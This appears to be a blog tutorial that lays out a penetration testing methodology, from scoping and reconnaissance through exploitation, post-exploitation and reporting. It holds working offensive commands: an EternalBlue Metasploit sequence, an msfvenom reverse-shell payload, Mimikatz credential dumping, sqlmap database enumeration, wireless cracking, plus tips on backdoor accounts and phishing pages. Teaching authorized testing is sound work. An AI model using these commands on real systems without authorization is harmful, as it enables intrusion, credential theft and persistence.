Plan and execute successful penetration tests

Here’s a step-by-step plan to execute a successful penetration test using industry-standard methodologies (e.g., PTES , OSSTMM , or NIST SP 800-115 ):


1. Planning & Scoping

Objective :

Define the scope , goals , and rules of engagement .

Steps :

  1. Engagement Agreement :
    • Scope : IP ranges, systems, and applications to test.
    • Rules of Engagement : Timeframe, legal compliance, and disclosure rules.
    • Objectives : Identify vulnerabilities, test defenses, or validate security controls.
  2. Legal Authorization :
    • Obtain written approval from the client.
    • Ensure compliance with laws (e.g., GDPR, HIPAA).
  3. Tools & Resources :
    • List tools (e.g., Nmap, Metasploit, Wireshark).
    • Assign roles (e.g., lead tester, report writer).

2. Reconnaissance (Passive & Active)

Objective :

Gather information about the target to identify potential entry points.

Steps :

  1. Passive Reconnaissance :
    • Use OSINT (Open-Source Intelligence) :
      • Maltego : Map relationships (domains, IPs, employees).
      • theHarvester : Gather emails, subdomains, and employee info.
        • theharvester -d target.com -l 500 -b all
    • Search Engines : Google dorks (e.g., site:target.com filetype:pdf).
    • Social Media : LinkedIn, Twitter for employee info.
  2. Active Reconnaissance :
    • Network Scanning :
      • nmap -sV -T4 -p- 192.168.1.100 # Full scan with service detection
    • Port Scanning :
      • nmap -p- -sS 192.168.1.0/24 # Stealthy SYN scan
    • Service Enumeration :
      • FTP : ftp 192.168.1.100
      • Web Apps : curl http://target.com/robots.txt
      • SMB : smbclient -L //192.168.1.100

3. Vulnerability Scanning & Analysis

Objective :

Identify vulnerabilities in the target environment.

Steps :

  1. Network Scanning :
    • Nmap NSE Scripts :
      • nmap –script=vuln 192.168.1.100 # Run vulnerability scripts
    • Masscan : Rapid port scanning for large networks.
  2. Vulnerability Scanners :
    • Nessus : Comprehensive vulnerability assessment.
    • OpenVAS : Free alternative for CVE-based scanning.
  3. Web Application Scanning :
    • OWASP ZAP : Automated web app vulnerability scanning.
    • sqlmap : Test for SQL injection.
      • sqlmap -u “http://target.com/login.php?user=admin” –dbs
  4. Manual Analysis :
    • Review scan results for false positives/negatives.
    • Prioritize critical vulnerabilities (e.g., unpatched exploits).

4. Exploitation

Objective :

Exploit vulnerabilities to gain access or compromise systems.

Steps :

  1. Exploit Frameworks :
    • Metasploit :
      • msfconsole
      • search exploit/windows/smb/ms17_010_eternalblue # Example exploit
      • use exploit/windows/smb/ms17_010_eternalblue
      • set RHOSTS 192.168.1.100
      • exploit
    • Exploit-DB : Manual exploit development (https://www.exploit-db.com/ ).
  2. Common Exploits :
    • Unpatched Services : Exploit outdated software (e.g., Apache, SMB).
    • SQL Injection : Use sqlmap to gain database access.
    • Buffer Overflow : Use msfvenom to create custom payloads.
      • msfvenom -p windows/meterpreter/reverse_tcp LHOST=your_ip LPORT=4444 -f exe > payload.exe
  3. Social Engineering :
    • Use SET (Social-Engineer Toolkit) to craft phishing emails.
    • Deploy fake login pages to capture credentials.

5. Post-Exploitation

Objective :

Maintain access, escalate privileges, and move laterally.

Steps :

  1. Maintain Access :
    • Meterpreter :
      • meterpreter > sysinfo # Get system info
      • meterpreter > shell # Get a shell
    • Backdoors : Add a user or modify system files.
  2. Privilege Escalation :
    • Linux : Use LinEnum or LinPEAS to find misconfigurations.
      • ./LinEnum.sh -u
    • Windows : Use Mimikatz to dump credentials.
      • mimikatz.exe “privilege::debug””sekurlsa::logonpasswords”exit
  3. Lateral Movement :
    • Use Meterpreter or SSH to move across the network.
    • Exploit Powershell Remoting or RDP for Windows targets.

6. Reporting

Objective :

Document findings and provide actionable recommendations.

Steps :

  1. Structure the Report :
    • Executive Summary : High-level risks and impact.
    • Technical Details : Vulnerabilities, exploits used, and evidence.
    • Remediation : Steps to fix vulnerabilities (e.g., patching, configuration changes).
  2. Tools for Reporting :
    • Markdown/LaTeX : Write technical reports.
    • Burp Suite : Export web app scan results.
    • Metasploit Reports : Use msfconsole’s reporting features.
  3. Example Findings :
    • Critical : Unpatched EternalBlue vulnerability (CVE-2017-0144).
    • High : SQL injection in login form.
    • Medium : Weak passwords in employee credentials.

7. Remediation & Follow-Up

Objective :

Ensure vulnerabilities are fixed and retest the environment.

Steps :

  1. Client Collaboration :
    • Provide a remediation timeline and patch validation.
  2. Retesting :
    • Re-scan or retest fixed vulnerabilities.
    • Use Nmap or Nessus to confirm fixes.
  3. Documentation :
    • Archive all logs, commands, and screenshots for future reference.

8. Best Practices

Key Principles :

  1. Authorization : Always obtain written permission.
  2. Minimize Impact : Avoid DoS attacks or data corruption.
  3. Documentation : Log every step (commands, errors, and findings).
  4. Use VMs : Test in a controlled environment (e.g., Metasploitable VM).
  5. Stay Updated : Follow CVE databases (e.g., CVE Details ).

Example Workflow

  1. Reconnaissance :
    • Use theHarvester to gather subdomains of target.com.
    • Scan with Nmap to find open ports (e.g., 80, 443, 22).
  2. Exploitation :
    • Use sqlmap to exploit SQLi in http://target.com/login.php.
    • Exploit a known SMB vulnerability with Metasploit .
  3. Post-Exploitation :
    • Use Meterpreter to escalate privileges and move laterally.
  4. Reporting :
    • Document the SQLi exploit, SMB vulnerability, and privilege escalation steps.

Quick Reference Table

PhaseToolCommand/Usage
ReconnaissancetheHarvestertheharvester -d target.com -l 500 -b all
ScanningNmapnmap -sV -T4 -p- 192.168.1.100
ExploitationMetasploitmsfconsole; use exploit/windows/smb/ms17_010_eternalblue
Post-ExploitationMeterpretermeterpreter > sysinfo
Web Scanningsqlmapsqlmap -u "http://target.com/login.php?user=admin" --dbs
Wireless CrackingAircrack-ngaircrack-ng -w wordlist.txt capfile.cap

Resources for Mastery

  • Certifications :
    • OSCP (Offensive Security Certified Professional) : Practical pentesting.
    • CEH (Certified Ethical Hacker) : Broad vulnerability assessment.
  • Practice Platforms :

Final Tips

By following this methodology and leveraging Kali Linux’s tools, you can systematically identify and exploit vulnerabilities while maintaining ethical standards. 🔍💻

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top